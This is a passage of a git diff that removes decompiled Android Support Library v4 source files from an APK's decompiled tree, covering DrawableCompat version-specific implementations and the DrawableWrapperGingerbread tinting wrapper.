getColorFilter(Drawable drawable); - - int getLayoutDirection(Drawable drawable); - - void inflate(Drawable drawable, Resources resources, XmlPullParser xmlPullParser, AttributeSet attributeSet, Resources.Theme theme) throws IOException, XmlPullParserException; - - boolean isAutoMirrored(Drawable drawable); - - void jumpToCurrentState(Drawable drawable); - - void setAutoMirrored(Drawable drawable, boolean z); - - void setHotspot(Drawable drawable, float f, float f2); - - void setHotspotBounds(Drawable drawable, int i, int i2, int i3, int i4); - - boolean setLayoutDirection(Drawable drawable, int i); - - void setTint(Drawable drawable, int i); - - void setTintList(Drawable drawable, ColorStateList colorStateList); - - void setTintMode(Drawable drawable, PorterDuff.Mode mode); - - Drawable wrap(Drawable drawable); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseDrawableImpl implements DrawableImpl { - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void applyTheme(Drawable drawable, Resources.Theme theme) { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean canApplyTheme(Drawable drawable) { - return false; - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public int getAlpha(Drawable drawable) { - return 0; - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public ColorFilter getColorFilter(Drawable drawable) { - return null; - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public int getLayoutDirection(Drawable drawable) { - return 0; - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean isAutoMirrored(Drawable drawable) { - return false; - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void jumpToCurrentState(Drawable drawable) { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setAutoMirrored(Drawable drawable, boolean z) { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setHotspot(Drawable drawable, float f, float f2) { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setHotspotBounds(Drawable drawable, int i, int i2, int i3, int i4) { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean setLayoutDirection(Drawable drawable, int i) { - return false; - } - - BaseDrawableImpl() { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setTint(Drawable drawable, int i) { - DrawableCompatBase.setTint(drawable, i); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setTintList(Drawable drawable, ColorStateList colorStateList) { - DrawableCompatBase.setTintList(drawable, colorStateList); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setTintMode(Drawable drawable, PorterDuff.Mode mode) { - DrawableCompatBase.setTintMode(drawable, mode); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public Drawable wrap(Drawable drawable) { - return DrawableCompatBase.wrapForTinting(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void clearColorFilter(Drawable drawable) { - drawable.clearColorFilter(); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void inflate(Drawable drawable, Resources resources, XmlPullParser xmlPullParser, AttributeSet attributeSet, Resources.Theme theme) throws IOException, XmlPullParserException { - DrawableCompatBase.inflate(drawable, resources, xmlPullParser, attributeSet, theme); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombDrawableImpl extends BaseDrawableImpl { - HoneycombDrawableImpl() { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void jumpToCurrentState(Drawable drawable) { - DrawableCompatHoneycomb.jumpToCurrentState(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public Drawable wrap(Drawable drawable) { - return DrawableCompatHoneycomb.wrapForTinting(drawable); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JellybeanMr1DrawableImpl extends HoneycombDrawableImpl { - JellybeanMr1DrawableImpl() { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean setLayoutDirection(Drawable drawable, int i) { - return DrawableCompatJellybeanMr1.setLayoutDirection(drawable, i); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public int getLayoutDirection(Drawable drawable) { - int layoutDirection = DrawableCompatJellybeanMr1.getLayoutDirection(drawable); - if (layoutDirection >= 0) { - return layoutDirection; - } - return 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatDrawableImpl extends JellybeanMr1DrawableImpl { - KitKatDrawableImpl() { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setAutoMirrored(Drawable drawable, boolean z) { - DrawableCompatKitKat.setAutoMirrored(drawable, z); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean isAutoMirrored(Drawable drawable) { - return DrawableCompatKitKat.isAutoMirrored(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.HoneycombDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public Drawable wrap(Drawable drawable) { - return DrawableCompatKitKat.wrapForTinting(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public int getAlpha(Drawable drawable) { - return DrawableCompatKitKat.getAlpha(drawable); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LollipopDrawableImpl extends KitKatDrawableImpl { - LollipopDrawableImpl() { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setHotspot(Drawable drawable, float f, float f2) { - DrawableCompatLollipop.setHotspot(drawable, f, f2); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setHotspotBounds(Drawable drawable, int i, int i2, int i3, int i4) { - DrawableCompatLollipop.setHotspotBounds(drawable, i, i2, i3, i4); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setTint(Drawable drawable, int i) { - DrawableCompatLollipop.setTint(drawable, i); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setTintList(Drawable drawable, ColorStateList colorStateList) { - DrawableCompatLollipop.setTintList(drawable, colorStateList); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void setTintMode(Drawable drawable, PorterDuff.Mode mode) { - DrawableCompatLollipop.setTintMode(drawable, mode); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.KitKatDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.HoneycombDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public Drawable wrap(Drawable drawable) { - return DrawableCompatLollipop.wrapForTinting(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void applyTheme(Drawable drawable, Resources.Theme theme) { - DrawableCompatLollipop.applyTheme(drawable, theme); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean canApplyTheme(Drawable drawable) { - return DrawableCompatLollipop.canApplyTheme(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public ColorFilter getColorFilter(Drawable drawable) { - return DrawableCompatLollipop.getColorFilter(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void clearColorFilter(Drawable drawable) { - DrawableCompatLollipop.clearColorFilter(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void inflate(Drawable drawable, Resources resources, XmlPullParser xmlPullParser, AttributeSet attributeSet, Resources.Theme theme) throws IOException, XmlPullParserException { - DrawableCompatLollipop.inflate(drawable, resources, xmlPullParser, attributeSet, theme); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MDrawableImpl extends LollipopDrawableImpl { - @Override // android.support.v4.graphics.drawable.DrawableCompat.LollipopDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.KitKatDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.HoneycombDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public Drawable wrap(Drawable drawable) { - return drawable; - } - - MDrawableImpl() { - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.JellybeanMr1DrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public boolean setLayoutDirection(Drawable drawable, int i) { - return DrawableCompatApi23.setLayoutDirection(drawable, i); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.JellybeanMr1DrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public int getLayoutDirection(Drawable drawable) { - return DrawableCompatApi23.getLayoutDirection(drawable); - } - - @Override // android.support.v4.graphics.drawable.DrawableCompat.LollipopDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.BaseDrawableImpl, android.support.v4.graphics.drawable.DrawableCompat.DrawableImpl - public void clearColorFilter(Drawable drawable) { - drawable.clearColorFilter(); - } - } - - public static void jumpToCurrentState(Drawable drawable) { - IMPL.jumpToCurrentState(drawable); - } - - public static void setAutoMirrored(Drawable drawable, boolean z) { - IMPL.setAutoMirrored(drawable, z); - } - - public static boolean isAutoMirrored(Drawable drawable) { - return IMPL.isAutoMirrored(drawable); - } - - public static void setHotspot(Drawable drawable, float f, float f2) { - IMPL.setHotspot(drawable, f, f2); - } - - public static void setHotspotBounds(Drawable drawable, int i, int i2, int i3, int i4) { - IMPL.setHotspotBounds(drawable, i, i2, i3, i4); - } - - public static void setTint(Drawable drawable, int i) { - IMPL.setTint(drawable, i); - } - - public static void setTintList(Drawable drawable, ColorStateList colorStateList) { - IMPL.setTintList(drawable, colorStateList); - } - - public static void setTintMode(Drawable drawable, PorterDuff.Mode mode) { - IMPL.setTintMode(drawable, mode); - } - - public static int getAlpha(Drawable drawable) { - return IMPL.getAlpha(drawable); - } - - public static void applyTheme(Drawable drawable, Resources.Theme theme) { - IMPL.applyTheme(drawable, theme); - } - - public static boolean canApplyTheme(Drawable drawable) { - return IMPL.canApplyTheme(drawable); - } - - public static ColorFilter getColorFilter(Drawable drawable) { - return IMPL.getColorFilter(drawable); - } - - public static void clearColorFilter(Drawable drawable) { - IMPL.clearColorFilter(drawable); - } - - public static void inflate(Drawable drawable, Resources resources, XmlPullParser xmlPullParser, AttributeSet attributeSet, Resources.Theme theme) throws XmlPullParserException, IOException { - IMPL.inflate(drawable, resources, xmlPullParser, attributeSet, theme); - } - - public static Drawable wrap(Drawable drawable) { - return IMPL.wrap(drawable); - } - - /* JADX WARN: Multi-variable type inference failed */ - public static T unwrap(Drawable drawable) { - return drawable instanceof DrawableWrapper ? (T) ((DrawableWrapper) drawable).getWrappedDrawable() : drawable; - } - - public static boolean setLayoutDirection(Drawable drawable, int i) { - return IMPL.setLayoutDirection(drawable, i); - } - - public static int getLayoutDirection(Drawable drawable) { - return IMPL.getLayoutDirection(drawable); - } - - private DrawableCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatApi23.java deleted file mode 100644 index bf4fa8a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatApi23.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableCompatApi23 { - DrawableCompatApi23() { - } - - public static boolean setLayoutDirection(Drawable drawable, int i) { - return drawable.setLayoutDirection(i); - } - - public static int getLayoutDirection(Drawable drawable) { - return drawable.getLayoutDirection(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatBase.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatBase.java deleted file mode 100644 index 400a1c5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatBase.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -import android.graphics.PorterDuff; -import android.graphics.drawable.Drawable; -import android.util.AttributeSet; -import java.io.IOException; -import org.xmlpull.v1.XmlPullParser; -import org.xmlpull.v1.XmlPullParserException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableCompatBase { - DrawableCompatBase() { - } - - public static void setTint(Drawable drawable, int i) { - if (drawable instanceof TintAwareDrawable) { - ((TintAwareDrawable) drawable).setTint(i); - } - } - - public static void setTintList(Drawable drawable, ColorStateList colorStateList) { - if (drawable instanceof TintAwareDrawable) { - ((TintAwareDrawable) drawable).setTintList(colorStateList); - } - } - - public static void setTintMode(Drawable drawable, PorterDuff.Mode mode) { - if (drawable instanceof TintAwareDrawable) { - ((TintAwareDrawable) drawable).setTintMode(mode); - } - } - - public static Drawable wrapForTinting(Drawable drawable) { - return !(drawable instanceof TintAwareDrawable) ? new DrawableWrapperGingerbread(drawable) : drawable; - } - - public static void inflate(Drawable drawable, Resources resources, XmlPullParser xmlPullParser, AttributeSet attributeSet, Resources.Theme theme) throws IOException, XmlPullParserException { - drawable.inflate(resources, xmlPullParser, attributeSet); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatHoneycomb.java deleted file mode 100644 index cf68ee0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatHoneycomb.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableCompatHoneycomb { - DrawableCompatHoneycomb() { - } - - public static void jumpToCurrentState(Drawable drawable) { - drawable.jumpToCurrentState(); - } - - public static Drawable wrapForTinting(Drawable drawable) { - return !(drawable instanceof TintAwareDrawable) ? new DrawableWrapperHoneycomb(drawable) : drawable; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatJellybeanMr1.java deleted file mode 100644 index 0252459..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatJellybeanMr1.java +++ /dev/null @@ -1,64 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.graphics.drawable.Drawable; -import android.util.Log; -import java.lang.reflect.Method; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableCompatJellybeanMr1 { - private static final String TAG = "DrawableCompatJellybeanMr1"; - private static Method sGetLayoutDirectionMethod; - private static boolean sGetLayoutDirectionMethodFetched; - private static Method sSetLayoutDirectionMethod; - private static boolean sSetLayoutDirectionMethodFetched; - - DrawableCompatJellybeanMr1() { - } - - public static boolean setLayoutDirection(Drawable drawable, int i) { - if (!sSetLayoutDirectionMethodFetched) { - try { - Method declaredMethod = Drawable.class.getDeclaredMethod("setLayoutDirection", Integer.TYPE); - sSetLayoutDirectionMethod = declaredMethod; - declaredMethod.setAccessible(true); - } catch (NoSuchMethodException e) { - Log.i(TAG, "Failed to retrieve setLayoutDirection(int) method", e); - } - sSetLayoutDirectionMethodFetched = true; - } - Method method = sSetLayoutDirectionMethod; - if (method != null) { - try { - method.invoke(drawable, Integer.valueOf(i)); - return true; - } catch (Exception e2) { - Log.i(TAG, "Failed to invoke setLayoutDirection(int) via reflection", e2); - sSetLayoutDirectionMethod = null; - } - } - return false; - } - - public static int getLayoutDirection(Drawable drawable) { - if (!sGetLayoutDirectionMethodFetched) { - try { - Method declaredMethod = Drawable.class.getDeclaredMethod("getLayoutDirection", new Class[0]); - sGetLayoutDirectionMethod = declaredMethod; - declaredMethod.setAccessible(true); - } catch (NoSuchMethodException e) { - Log.i(TAG, "Failed to retrieve getLayoutDirection() method", e); - } - sGetLayoutDirectionMethodFetched = true; - } - Method method = sGetLayoutDirectionMethod; - if (method != null) { - try { - return ((Integer) method.invoke(drawable, new Object[0])).intValue(); - } catch (Exception e2) { - Log.i(TAG, "Failed to invoke getLayoutDirection() via reflection", e2); - sGetLayoutDirectionMethod = null; - return -1; - } - } - return -1; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatKitKat.java deleted file mode 100644 index c9cda42..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatKitKat.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableCompatKitKat { - DrawableCompatKitKat() { - } - - public static void setAutoMirrored(Drawable drawable, boolean z) { - drawable.setAutoMirrored(z); - } - - public static boolean isAutoMirrored(Drawable drawable) { - return drawable.isAutoMirrored(); - } - - public static Drawable wrapForTinting(Drawable drawable) { - return !(drawable instanceof TintAwareDrawable) ? new DrawableWrapperKitKat(drawable) : drawable; - } - - public static int getAlpha(Drawable drawable) { - return drawable.getAlpha(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatLollipop.java deleted file mode 100644 index 02ebaa7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompatLollipop.java +++ /dev/null @@ -1,76 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -import android.graphics.ColorFilter; -import android.graphics.PorterDuff; -import android.graphics.drawable.Drawable; -import android.graphics.drawable.DrawableContainer; -import android.graphics.drawable.InsetDrawable; -import android.util.AttributeSet; -import java.io.IOException; -import org.xmlpull.v1.XmlPullParser; -import org.xmlpull.v1.XmlPullParserException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableCompatLollipop { - DrawableCompatLollipop() { - } - - public static void setHotspot(Drawable drawable, float f, float f2) { - drawable.setHotspot(f, f2); - } - - public static void setHotspotBounds(Drawable drawable, int i, int i2, int i3, int i4) { - drawable.setHotspotBounds(i, i2, i3, i4); - } - - public static void setTint(Drawable drawable, int i) { - drawable.setTint(i); - } - - public static void setTintList(Drawable drawable, ColorStateList colorStateList) { - drawable.setTintList(colorStateList); - } - - public static void setTintMode(Drawable drawable, PorterDuff.Mode mode) { - drawable.setTintMode(mode); - } - - public static Drawable wrapForTinting(Drawable drawable) { - return !(drawable instanceof TintAwareDrawable) ? new DrawableWrapperLollipop(drawable) : drawable; - } - - public static void applyTheme(Drawable drawable, Resources.Theme theme) { - drawable.applyTheme(theme); - } - - public static boolean canApplyTheme(Drawable drawable) { - return drawable.canApplyTheme(); - } - - public static ColorFilter getColorFilter(Drawable drawable) { - return drawable.getColorFilter(); - } - - public static void clearColorFilter(Drawable drawable) { - DrawableContainer.DrawableContainerState drawableContainerState; - drawable.clearColorFilter(); - if (drawable instanceof InsetDrawable) { - clearColorFilter(((InsetDrawable) drawable).getDrawable()); - } else if (drawable instanceof DrawableWrapper) { - clearColorFilter(((DrawableWrapper) drawable).getWrappedDrawable()); - } else if ((drawable instanceof DrawableContainer) && (drawableContainerState = (DrawableContainer.DrawableContainerState) ((DrawableContainer) drawable).getConstantState()) != null) { - int childCount = drawableContainerState.getChildCount(); - for (int i = 0; i < childCount; i++) { - Drawable child = drawableContainerState.getChild(i); - if (child != null) { - clearColorFilter(child); - } - } - } - } - - public static void inflate(Drawable drawable, Resources resources, XmlPullParser xmlPullParser, AttributeSet attributeSet, Resources.Theme theme) throws IOException, XmlPullParserException { - drawable.inflate(resources, xmlPullParser, attributeSet, theme); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapper.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapper.java deleted file mode 100644 index 40d088f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapper.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface DrawableWrapper { - Drawable getWrappedDrawable(); - - void setWrappedDrawable(Drawable drawable); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperGingerbread.java deleted file mode 100644 index 3af6885..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableWrapperGingerbread.java +++ /dev/null @@ -1,325 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -import android.graphics.Canvas; -import android.graphics.ColorFilter; -import android.graphics.PorterDuff; -import android.graphics.Rect; -import android.graphics.Region; -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class DrawableWrapperGingerbread extends Drawable implements Drawable.Callback, DrawableWrapper, TintAwareDrawable { - static final PorterDuff.Mode DEFAULT_TINT_MODE = PorterDuff.Mode.SRC_IN; - private boolean mColorFilterSet; - private int mCurrentColor; - private PorterDuff.Mode mCurrentMode; - Drawable mDrawable; - private boolean mMutated; - DrawableWrapperState mState; - - protected boolean isCompatTintEnabled() { - return true; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperGingerbread(DrawableWrapperState drawableWrapperState, Resources resources) { - this.mState = drawableWrapperState; - updateLocalState(resources); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public DrawableWrapperGingerbread(Drawable drawable) { - this.mState = mutateConstantState(); - setWrappedDrawable(drawable); - } - - private void updateLocalState(Resources resources) { - DrawableWrapperState drawableWrapperState = this.mState; - if (drawableWrapperState == null || drawableWrapperState.mDrawableState == null) { - return; - } - setWrappedDrawable(newDrawableFromState(this.mState.mDrawableState, resources)); - } - - protected Drawable newDrawableFromState(Drawable.ConstantState constantState, Resources resources) { - return constantState.newDrawable(resources); - } - - @Override // android.graphics.drawable.Drawable - public void draw(Canvas canvas) { - this.mDrawable.draw(canvas); - } - - @Override // android.graphics.drawable.Drawable - protected void onBoundsChange(Rect rect) { - Drawable drawable = this.mDrawable; - if (drawable != null) { - drawable.setBounds(rect); - } - } - - @Override // android.graphics.drawable.Drawable - public void setChangingConfigurations(int i) { - this.mDrawable.setChangingConfigurations(i); - } - - @Override // android.graphics.drawable.Drawable - public int getChangingConfigurations() { - int changingConfigurations = super.getChangingConfigurations(); - DrawableWrapperState drawableWrapperState = this.mState; - return changingConfigurations | (drawableWrapperState != null ? drawableWrapperState.getChangingConfigurations() : 0) | this.mDrawable.getChangingConfigurations(); - } - - @Override // android.graphics.drawable.Drawable - public void setDither(boolean z) { - this.mDrawable.setDither(z); - } - - @Override // android.graphics.drawable.Drawable - public void setFilterBitmap(boolean z) { - this.mDrawable.setFilterBitmap(z); - } - - @Override // android.graphics.drawable.Drawable - public void setAlpha(int i) { - this.mDrawable.setAlpha(i); - } - - @Override // android.graphics.drawable.Drawable - public void setColorFilter(ColorFilter colorFilter) { - this.mDrawable.setColorFilter(colorFilter); - } - - @Override // android.graphics.drawable.Drawable - public boolean isStateful() { - DrawableWrapperState drawableWrapperState; - ColorStateList colorStateList = (!isCompatTintEnabled() || (drawableWrapperState = this.mState) == null) ? null : drawableWrapperState.mTint; - return (colorStateList != null && colorStateList.isStateful()) || this.mDrawable.isStateful(); - } - - @Override // android.graphics.drawable.Drawable - public boolean setState(int[] iArr) { - return updateTint(iArr) || this.mDrawable.setState(iArr); - } - - @Override // android.graphics.drawable.Drawable - public int[] getState() { - return this.mDrawable.getState(); - } - - @Override // android.graphics.drawable.Drawable - public Drawable getCurrent() { - return this.mDrawable.getCurrent(); - } - - @Override // android.graphics.drawable.Drawable - public boolean setVisible(boolean z, boolean z2) { - return super.setVisible(z, z2) || this.mDrawable.setVisible(z, z2); - } - - @Override // android.graphics.drawable.Drawable - public int getOpacity() { - return this.mDrawable.getOpacity(); - } - - @Override // android.graphics.drawable.Drawable - public Region getTransparentRegion() { - return this.mDrawable.getTransparentRegion(); - } - - @Override // android.graphics.drawable.Drawable - public int getIntrinsicWidth() { - return this.mDrawable.getIntrinsicWidth(); - } - - @Override // android.graphics.drawable.Drawable - public int getIntrinsicHeight() { - return this.mDrawable.getIntrinsicHeight(); - } - - @Override // android.graphics.drawable.Drawable - public int getMinimumWidth() { - return this.mDrawable.getMinimumWidth(); - } - - @Override // android.graphics.drawable.Drawable - public int getMinimumHeight() { - return this.mDrawable.getMinimumHeight(); - } - - @Override // android.graphics.drawable.Drawable - public boolean getPadding(Rect rect) { - return this.mDrawable.getPadding(rect); - } - - @Override // android.graphics.drawable.Drawable - public Drawable.ConstantState getConstantState() { - DrawableWrapperState drawableWrapperState = this.mState; - if (drawableWrapperState == null || !drawableWrapperState.canConstantState()) { - return null; - } - this.mState.mChangingConfigurations = getChangingConfigurations(); - return this.mState; - } - - @Override // android.graphics.drawable.Drawable - public Drawable mutate() { - if (!this.mMutated && super.mutate() == this) { - this.mState = mutateConstantState(); - Drawable drawable = this.mDrawable; - if (drawable != null) { - drawable.mutate(); - } - DrawableWrapperState drawableWrapperState = this.mState; - if (drawableWrapperState != null) { - Drawable drawable2 = this.mDrawable; - drawableWrapperState.mDrawableState = drawable2 != null ? drawable2.getConstantState() : null; - } - this.mMutated = true; - } - return this; - } - - DrawableWrapperState mutateConstantState() { - return new DrawableWrapperStateBase(this.mState, null); - } - - @Override // android.graphics.drawable.Drawable.Callback - public void invalidateDrawable(Drawable drawable) { - invalidateSelf(); - } - - @Override // android.graphics.drawable.Drawable.Callback - public void scheduleDrawable(Drawable drawable, Runnable runnable, long j) { - scheduleSelf(runnable, j); - } - - @Override // android.graphics.drawable.Drawable.Callback - public void unscheduleDrawable(Drawable drawable, Runnable runnable) { - unscheduleSelf(runnable); - } - - @Override // android.graphics.drawable.Drawable - protected boolean onLevelChange(int i) { - return this.mDrawable.setLevel(i); - } - - @Override // android.graphics.drawable.Drawable, android.support.v4.graphics.drawable.TintAwareDrawable - public void setTint(int i) { - setTintList(ColorStateList.valueOf(i)); - } - - @Override // android.graphics.drawable.Drawable, android.support.v4.graphics.drawable.TintAwareDrawable - public void setTintList(ColorStateList colorStateList) { - this.mState.mTint = colorStateList; - updateTint(getState()); - } - - @Override // android.graphics.drawable.Drawable, android.support.v4.graphics.drawable.TintAwareDrawable - public void setTintMode(PorterDuff.Mode mode) { - this.mState.mTintMode = mode; - updateTint(getState()); - } - - private boolean updateTint(int[] iArr) { - if (isCompatTintEnabled()) { - ColorStateList colorStateList = this.mState.mTint; - PorterDuff.Mode mode = this.mState.mTintMode; - if (colorStateList != null && mode != null) { - int colorForState = colorStateList.getColorForState(iArr, colorStateList.getDefaultColor()); - if (!this.mColorFilterSet || colorForState != this.mCurrentColor || mode != this.mCurrentMode) { - setColorFilter(colorForState, mode); - this.mCurrentColor = colorForState; - this.mCurrentMode = mode; - this.mColorFilterSet = true; - return true; - } - } else { - this.mColorFilterSet = false; - clearColorFilter(); - } - return false; - } - return false; - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapper - public final Drawable getWrappedDrawable() { - return this.mDrawable; - } - - @Override // android.support.v4.graphics.drawable.DrawableWrapper - public final void setWrappedDrawable(Drawable drawable) { - Drawable drawable2 = this.mDrawable; - if (drawable2 != null) { - drawable2.setCallback(null); - } - this.mDrawable = drawable; - if (drawable != null) { - drawable.setCallback(this); - setVisible(drawable.isVisible(), true); - setState(drawable.getState()); - setLevel(drawable.getLevel()); - setBounds(drawable.getBounds()); - DrawableWrapperState drawableWrapperState = this.mState; - if (drawableWrapperState != null) { - drawableWrapperState.mDrawableState = drawable.getConstantState(); - } - } - invalidateSelf(); - } - - /* JADX INFO: Access modifiers changed from: protected */ - /* loaded from: /home/trevor/apk_decompile/classes.dex 